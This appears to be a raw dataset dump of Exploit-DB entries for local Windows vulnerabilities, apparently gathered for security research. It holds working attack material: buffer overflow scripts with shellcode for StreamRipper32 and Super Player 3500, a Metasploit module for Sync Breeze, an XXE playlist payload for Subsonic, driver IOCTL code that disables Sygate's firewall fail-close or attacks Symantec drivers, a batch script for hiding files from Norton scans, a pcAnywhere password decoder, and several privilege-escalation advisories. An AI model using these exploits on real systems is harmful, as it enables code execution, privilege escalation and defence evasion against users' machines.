deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48517
Description: StreamRipper32 2.6 - Buffer Overflow (PoC)
Type: local
Platform: windows
Date: 2020-05-26
Author: Andy Bowden

Exploit:
# Exploit Title: StreamRipper32 2.6 - Buffer Overflow (PoC)
# Date: 2020-05-14
# Exploit Author: Andy Bowden
# Tested On: Win10 x64
# Download Link: http://streamripper.sourceforge.net/sr32/StreamRipper32_2_6.exe
# Vendor Page: http://streamripper.sourceforge.net/
# Version: 2.6
# Steps To Reproduce: Double click on "Add" in the"Station/Song Section" and paste the output in "SongPattern"

#Bad Characters \x00\x0A\x0D  
file = open('exploit.txt', 'wb')  
  
buf = b""  
buf += b"A" * 256  
buf += b"\x47\x23\x30\x74" #74302347  
buf += b"\x90" * 30

#calc payload  
buf += b"\xdb\xc2\xbd\x72\x07\xda\xa7\xd9\x74\x24\xf4\x58\x29"  
buf += b"\xc9\xb1\x31\x83\xe8\xfc\x31\x68\x14\x03\x68\x66\xe5"  
buf += b"\x2f\x5b\x6e\x6b\xcf\xa4\x6e\x0c\x59\x41\x5f\x0c\x3d"  
buf += b"\x01\xcf\xbc\x35\x47\xe3\x37\x1b\x7c\x70\x35\xb4\x73"  
buf += b"\x31\xf0\xe2\xba\xc2\xa9\xd7\xdd\x40\xb0\x0b\x3e\x79"  
buf += b"\x7b\x5e\x3f\xbe\x66\x93\x6d\x17\xec\x06\x82\x1c\xb8"  
buf += b"\x9a\x29\x6e\x2c\x9b\xce\x26\x4f\x8a\x40\x3d\x16\x0c"  
buf += b"\x62\x92\x22\x05\x7c\xf7\x0f\xdf\xf7\xc3\xe4\xde\xd1"  
buf += b"\x1a\x04\x4c\x1c\x93\xf7\x8c\x58\x13\xe8\xfa\x90\x60"  
buf += b"\x95\xfc\x66\x1b\x41\x88\x7c\xbb\x02\x2a\x59\x3a\xc6"  
buf += b"\xad\x2a\x30\xa3\xba\x75\x54\x32\x6e\x0e\x60\xbf\x91"  
buf += b"\xc1\xe1\xfb\xb5\xc5\xaa\x58\xd7\x5c\x16\x0e\xe8\xbf"  
buf += b"\xf9\xef\x4c\xcb\x17\xfb\xfc\x96\x7d\xfa\x73\xad\x33"  
buf += b"\xfc\x8b\xae\x63\x95\xba\x25\xec\xe2\x42\xec\x49\x1c"  
buf += b"\x09\xad\xfb\xb5\xd4\x27\xbe\xdb\xe6\x9d\xfc\xe5\x64"  
buf += b"\x14\x7c\x12\x74\x5d\x79\x5e\x32\x8d\xf3\xcf\xd7\xb1"  
buf += b"\xa0\xf0\xfd\xd1\x27\x63\x9d\x3b\xc2\x03\x04\x44"  
buf += b"\x90" * (1000 - len(buf))  

file.write(buf)
file.close()
Exploit-DB #47676
Description: Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-19
Author: Luis Martínez

Exploit:
# Exploit Title: Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2019-11-18
# Vendor Homepage: https://www.rockwellautomation.com/en_NA/overview.page
# Software Link : https://www.rockwellautomation.com/en_NA/products/factorytalk/overview.page?pagetitle=Studio-5000-Logix-Designer&docid=924d2f2060bf9d[PII_REDACTED]96a18142
# Rockwell Automation Technologies
# Tested Version: 30.01.00
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Rockwell" |findstr /i /v """

FactoryTalk Activation Service		FactoryTalk Activation Service 		C:\Program Files (x86)\Rockwell Software\FactoryTalk Activation\lmgrd.exe	Auto

# Service info:

C:\>sc qc "FactoryTalk Activation Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FactoryTalk Activation Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Rockwell Software\FactoryTalk Activation\lmgrd.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FactoryTalk Activation Service
        DEPENDENCIES       : winmgmt
                           : wmiapsrv
                           : +NetworkProvider
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #42119
Description: Subsonic 6.1.1 - XML External Entity Injection
Type: local
Platform: windows
Date: 2017-06-05
Author: hyp3rlinx

Exploit:
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
====================
XML External Entity 



CVE Reference:
==============
CVE-2017-9355




Security Issue:
================
subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to
import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network 
to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.




Exploit/POC:
=============
1) Create some playlist file "RainbowsNUnic0rns.xspf" 

<?xml version="1.0"?>
<!DOCTYPE mmmmmRaisins [ 
<!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/">
%mmmm;]>


2) Import as playlist.


3) Start listener.

nc.exe -llvp 1337
listening on [any] 1337 ...

connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_45
Host: 127.0.0.1:1337
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #27041
Description: Super Player 3500 - '.m3u' Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2013-07-23
Author: jun

Exploit:
#!/usr/bin/perl

#SuperPlayer3500 Local stack based buffer overflow
#Author:jun
#Email:haojunhou@gmail.com
#Date:Tue Jul 22 2013
#Vendor Link:http://www.haojie.cn
#Software Link:http://www.haojie.cn/download/setup_3500.exe
#App Version:3500
#Tested on:windows xp sp3

$file = "superplay3500exp.M3U";
$junk = "A" x 348;
$eip = pack('V', 0x77d29353); #jmp esp on user32.dll
$nops = "\x90" x 20;

#exec calc.exe
$shellcode =
"\x33\xc9\xb8\xd1\xa3\x3d\x27\xda\xdf\xd9\x74\x24\xf4\xb1" .
"\x32\x5a\x83\xc2\x04\x31\x42\x0c\x03\x93\xaf\xdf\xd2\xef" .
"\x58\x96\x1d\x0f\x99\xc9\x94\xea\xa8\xdb\xc3\x7f\x98\xeb" .
"\x80\x2d\x11\x87\xc5\xc5\xa2\xe5\xc1\xea\x03\x43\x34\xc5" .
"\x94\x65\xf8\x89\x57\xe7\x84\xd3\x8b\xc7\xb5\x1c\xde\x06" .
"\xf1\x40\x11\x5a\xaa\x0f\x80\x4b\xdf\x4d\x19\x6d\x0f\xda" .
"\x21\x15\x2a\x1c\xd5\xaf\x35\x4c\x46\xbb\x7e\x74\xec\xe3" .
"\x5e\x85\x21\xf0\xa3\xcc\x4e\xc3\x50\xcf\x86\x1d\x98\xfe" .
"\xe6\xf2\xa7\xcf\xea\x0b\xef\xf7\x14\x7e\x1b\x04\xa8\x79" .
"\xd8\x77\x76\x0f\xfd\xdf\xfd\xb7\x25\xde\xd2\x2e\xad\xec" .
"\x9f\x25\xe9\xf0\x1e\xe9\x81\x0c\xaa\x0c\x46\x85\xe8\x2a" .
"\x42\xce\xab\x53\xd3\xaa\x1a\x6b\x03\x12\xc2\xc9\x4f\xb0" .
"\x17\x6b\x12\xde\xe6\xf9\x28\xa7\xe9\x01\x33\x87\x81\x30" .
"\xb8\x48\xd5\xcc\x6b\x2d\x27\x3c\xa6\xbb\xb0\xe7\x53\x86" .
"\xdc\x17\x8e\xc4\xd8\x9b\x3b\xb4\x1e\x83\x49\xb1\x5b\x03" .
"\xa1\xcb\xf4\xe6\xc5\x78\xf4\x22\xa6\x1f\x66\xae\x29"."\r\n";

open(FILE,">$file");
print FILE $junk.$eip.$nops.$shellcode;
close(FILE);
Exploit-DB #23511
Description: Surfnet 1.31 - Unauthorized Account Depositing
Type: local
Platform: windows
Date: 2004-01-02
Author: Rift_XT

Exploit:
source: https://www.securityfocus.com/bid/9347/info

Surfnet kiosks are prone to a vulnerability that may permit kiosk users to deposit extra time into kiosk accounts. This reportedly occurs when a user attempts to authenticate to the kiosk, causing their time to be doubled for each attempt. 

C:\Surfnet\WWWRoot\CMD_Existing_Account_Attempt:Login=Username:[CREDENTIAL_REDACTED]
Exploit-DB #24200
Description: Sygate Personal Firewall Pro 5.5 - Local Fail-Close Bypass
Type: local
Platform: windows
Date: 2004-06-14
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/10540/info

A vulnerability is reported to affect the Sygate Personal Firewall fail-closed functionality. It is reported that the kernel-space NDIS driver does not verify the origin of messages that are received through the associated device. As a result of this it is possible for a local user to transmit a message to the kernel-space NDIS driver device in order to disable the firewall fail-closed functionality.

A local attacker may exploit this condition to disable the affected firewall completely.


	hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
			 NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 	if(hDevice == INVALID_HANDLE_VALUE)
	{
		printf("Open failed\n");
	}
	else
	{
		printf("Device opened.\n");
										
		char buffer[8];
		DWORD *ptr = (DWORD *)buffer;
		DWORD *ptr2 = (DWORD *)(buffer + 4);
		DWORD ret;

		*ptr = 0;
		*ptr2 = 0;
			
		if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
			printf("Sent.\n");
												
		CloseHandle(hDevice);
	}
Exploit-DB #4178
Description: Symantec AntiVirus - 'symtdi.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-07-12
Author: Zohiartze Herce

Exploit:
Symantec AntiVirus symtdi.sys Local Privilege Escalation

Author:   Zohiartze Herce
Site:     http://48bits.com

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4178.rar (07122007-symTDI_advisory.rar)

# milw0rm.com [2007-07-12]
Exploit-DB #38299
Description: Symantec Encryption Desktop 10 - Local Buffer Overflow / Local Privilege Escalation
Type: local
Platform: windows
Date: 2012-02-25
Author: Nikita Tarakanov

Exploit:
source: https://www.securityfocus.com/bid/57835/info

Symantec Encryption Desktop is prone to a local buffer-overflow vulnerability. 

A local attacker may exploit this issue to execute arbitrary code with escalated privileges.

#define IO_CONTROL_VULN 0x80022058
 
#define TARGET_DEVICE L"\\Device\\pgpwdef"
 
[..]
 
    usName.Buffer = TARGET_DEVICE;
    usName.Length = usName.MaximumLength = 
(USHORT)(wcslen(usName.Buffer) * sizeof(WCHAR));
 
    InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE , 
NULL, NULL);    
 
 
    // get handle of target devide
    ns = f_NtOpenFile(
        &hDev,
        FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
        &ObjAttr,
        &StatusBlock,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT
    );
 
[..]
 
    BOOL bStatus = DeviceIoControl(
        hDev,
        IO_CONTROL_VULN,
        InBuff, 0x8,
        OutBuff, 0x8,
        &dwReturnLen, NULL
    );
 
    dwReturnLen = 0;
    bStatus = DeviceIoControl(
        hDev,
        IO_CONTROL_VULN,
        InBuff, sizeof(PVOID),
        (PUCHAR)m_HalDispatchTable, 0,
        &dwReturnLen, NULL
    );
 
[..]
 
    f_NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
 
[..]
 
Your evil code processes with CPL==0
Exploit-DB #24014
Description: Symantec Norton AntiVirus 2002 - Nested File Manual Scan Bypass
Type: local
Platform: windows
Date: 2004-04-17
Author: Bipin Gautam

Exploit:
source: https://www.securityfocus.com/bid/10164/info

A vulnerability has been reported in Symantec Norton AntiVirus 2002 that may potentially cause deeply nested files with specific names to bypass manual scanning. 

This could permit malicious executable content to bypass scanning by the software. This may be due to a limitation in the Windows operating system with regards to accessing the deeply nested file. If this is the case, it could also affect other antivirus software.

This issue was present in an early build of Norton AntiVirus 2002 but does not affect fully updated releases.

@echo off
rem Bipin Gautam [hUNT3R]
rem [http://www.geocities.com/visitbipin] * [http://www.01security.com]
echo ?
echo ************************************************
echo -( For a harmless test... you can use,
echo http://www.eicar.org/anti_virus_test_file.htm )-
echo ************************************************
pause
cdc:
cd:hUNT3r
md 1
cd 1
if not errorlevel 1 goto :hUNT3r
cd..
rmdir 1
md X
cls
echo ***************************************************************
echo Now you can inject any file inside the folder 'X' which is inside
echo 120'th sub-directory of 'c:\1' [ i.e c:\1\..\...\.....[120'th dir].....\X\ ]
echo Note: The file you are moving to'c:\1\...\X\' should only contain
echo '1' char. file name, say: '1.exe' or '2.exe' or 'a.exe' etc...
echo not as '123.not' 'qwert.hak'
echo .........
echo So, ARE YOU DONE!?
echo .........
echo After this batch script is terminated, you'll
echo find the file you ^just copied^ inside c:\1\........\Xecho now in c:\3\3\3\3\3\1\1\1\......[130' th dir].....\Xecho mmm... Then have a manual scan of c:\3\ Any file you
echo have put inside the dir. 'X' can't be detected by NORTON Antivirus anymore!!!
echo ***************************************************

pause
cdmd 3\3\3\3\3\3\3\3\3\3cdxcopy /E /I c:\1\*.* c:3\3\3\3\3\3\3\3\3\3exit
Exploit-DB #18823
Description: Symantec pcAnywhere - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2012-05-02
Author: Edward Torkington

Exploit:
======= 
Summary 
======= 
Name: Symantec pcAnywhere insecure file permissions local privilege escalation 
Release Date: 30 April 2012 
Reference: NGS00117 
Discoverer: Edward Torkington <edward.torkington@ngssecure.com> 
Vendor: Symantec 
Vendor Reference: 
Systems Affected: 

Symantec pcAnywhere 12.5.x 
IT Management Suite 7.0 pcAnywhere Solution 12.5.x 
IT Management Suite 7.1 pcAnywhere Solution 12.6.x 

Risk: High 
Status: Fixed 

======== 
TimeLine 
======== 
Discovered: 23 August 2011 
Released: 14 September 2011 
Approved: 14 September 2011 
Reported: 23 August 2011 
Fixed: 24 January 2012 
Published: 30 April 2012 

=========== 
Description 
=========== 

Inadequate file permissions on application binaries could result on local privilege escalation 

================= 
Technical Details 
================= 
A number of key files in the C:\Program Files\Symantec\pcAnywhere\ folder are writable by any user: 

C:\Program Files\Symantec\pcAnywhere\WinAw32.exe Everyone:(OI)(CI)F 
                                                NT 
AUTHORITY\SYSTEM:(OI)(CI)F 

C:\Program Files\Symantec\pcAnywhere\awrem32.exe Everyone:(OI)(CI)F 
                                                NT 
AUTHORITY\SYSTEM:(OI)(CI)F 

C:\Program Files\Symantec\pcAnywhere\awhost32.exe Everyone:(OI)(CI)F 
                                                 NT 
AUTHORITY\SYSTEM:(OI)(CI)F 

It is trivial to replace these .exe (including the main pcanywhere exe, winaw32.exe with a malicious binary). When launched by the admin, privilege escalation would be gained. The awhost32.exe is set as a service under some scenarios (SYSTEM) and allows a user to privilege escalate by overwriting this binary. 

=============== 
Fix Information 
=============== 

An updated version of the software has been released to address these vulnerabilities: 
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security
_advisory&pvid=security_advisory&year=2012&suid=20120124_00
Exploit-DB #19836
Description: Symantec pcAnywhere 9.0 - Weak Encryption
Type: local
Platform: windows
Date: 2000-04-06
Author: Pascal Longpre

Exploit:
// source: https://www.securityfocus.com/bid/1093/info

Symantec pcAnywhere is shipped by default with a weak encryption scheme that is used to encrypt username and password transmittal. Therefore, usernames and password can be retrieved by anyone sniffing the network in between the host computer running pcAnywhere and the NT domain controller.

Users of pcAnywhere can be authenticated with their NT domain username and password. In this case, the weakly encrypted transmitted authentication would be transmitted domain wide. 

#include <stdio.h>
#include <string.h>

void main() {

  char password[128];
  char cleartext[128];
  int	 i;

  // input the sniffed hex values here
  // Encrypted example of the 'aaaaa' password
  password[0]=0xca;
  password[1]=0xab;
  password[2]=0xcb;
  password[3]=0xa8;
  password[4]=0xca;
  password[5]='\0';

	cleartext[0]=0xca-password[0]+0x61;
	for (i=1;i<strlen(password);i++) 
	  cleartext[i] = password[i-1] ^ password[i] ^ i-1;
	
	cleartext[strlen(password)]='\0';

	printf("password is %s \n",cleartext);

}
Exploit-DB #50023
Description: Sync Breeze 13.6.18 - 'Multiple' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-17
Author: Brian Rodriguez

Exploit:
# Exploit Title: Sync Breeze 13.6.18 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.syncbreeze.com/
# Software Links:
# https://www.syncbreeze.com/setups_x64/syncbreezesrv_setup_v13.6.18_x64.exe
# https://www.syncbreeze.com/setups_x64/syncbreezeent_setup_v13.6.18_x64.exe
# Tested Version: 13.6.18
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Sync Breeze Server  Sync Breeze Server   C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe     Auto
Sync Breeze Enterprise   Sync Breeze Enterprise   C:\Program Files\Sync
Breeze Enterprise\bin\syncbrs.exe   Auto

C:\Users\IEUser>sc qc "Sync Breeze Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Server
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Sync Breeze Server
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc "Sync Breeze Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Enterprise
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Enterprise\bin\syncbrs.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Sync Breeze Enterprise
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #48045
Description: Sync Breeze Enterprise 12.4.18 - 'Sync Breeze Enterprise' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-02-11
Author: boku

Exploit:
Exploit Title: Sync Breeze Enterprise 12.4.18 - 'Sync Breeze Enterprise' Unquoted Service Path
Exploit Author: boku
Date: 2020-02-10
Vendor Homepage: http://www.syncbreeze.com
Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v12.4.18.exe
Version: 12.4.18
Tested On: Windows 10 (32-bit)

C:\Users\elaglor>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Sync Breeze Enterprise          C:\Program Files\Sync Breeze Enterprise\bin\syncbrs.exe             Auto

C:\Users\elaglor>sc qc "Sync Breeze Enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sync Breeze Enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Sync Breeze Enterprise\bin\syncbrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Sync Breeze Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #43875
Description: Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2018-01-24
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
      'Description'     => %q(
        This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
        by using the import command option to import a specially crafted xml file.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Daniel Teixeira'
        ],
      'References'      =>
        [
          [ 'CVE', '2017-7310' ],
          [ 'EDB', '41773' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true'
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
          'StackAdjustment' => -3500
        },
      'Targets'         =>
        [
          ['Windows Universal', { 'Ret' => 0x10015FFE } ]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Mar 29 2017',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
      ])
  end

  def exploit
    jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
    esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
    jmp = "\xFF\xE0" # JMP ESP

    buffer =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
    buffer << "\x90" * 1536
    buffer << jmpesp
    buffer << "\x90" * 18
    buffer << esp
    buffer << jmp
    buffer << "\x90" * 68
    buffer << generate_seh_record(target.ret)
    buffer << "\x90" * 10
    buffer << payload.encoded
    buffer << "\x90" * 5000
    buffer << "\n</classify>"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end